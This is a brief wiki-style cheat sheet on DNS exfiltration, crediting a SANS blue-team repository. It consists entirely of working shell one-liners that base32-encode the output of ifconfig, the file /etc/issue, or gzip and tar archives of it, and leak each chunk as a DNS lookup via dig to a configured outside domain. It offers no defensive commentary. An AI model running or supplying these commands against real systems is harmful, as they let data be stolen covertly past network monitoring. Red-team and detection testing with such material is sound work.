===== DNS Exfiltration ===== Data source [[https://github.com/sans-blue-team/DNS-Exfiltrate|here]]. Set DNS domain and subdomain dns_server=domain.uk dns_name=5lz802ad6a7xz6c2izvq1hp6 ==== STDOUT Command==== ifconfig | base32 -w 63 | tr -d = | while read a; do dig +short $a.$dns_name.$dns_server; done; ==== Exfiltrate File==== base32 -w 63 < /etc/issue | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done; ==== Exfiltrate Compressed File==== gzip - < /etc/issue | base32 -w 63 | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done; ==== Exfiltrate Compressed TAR File==== tar czf - /etc/issue | base32 -w 63 | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done;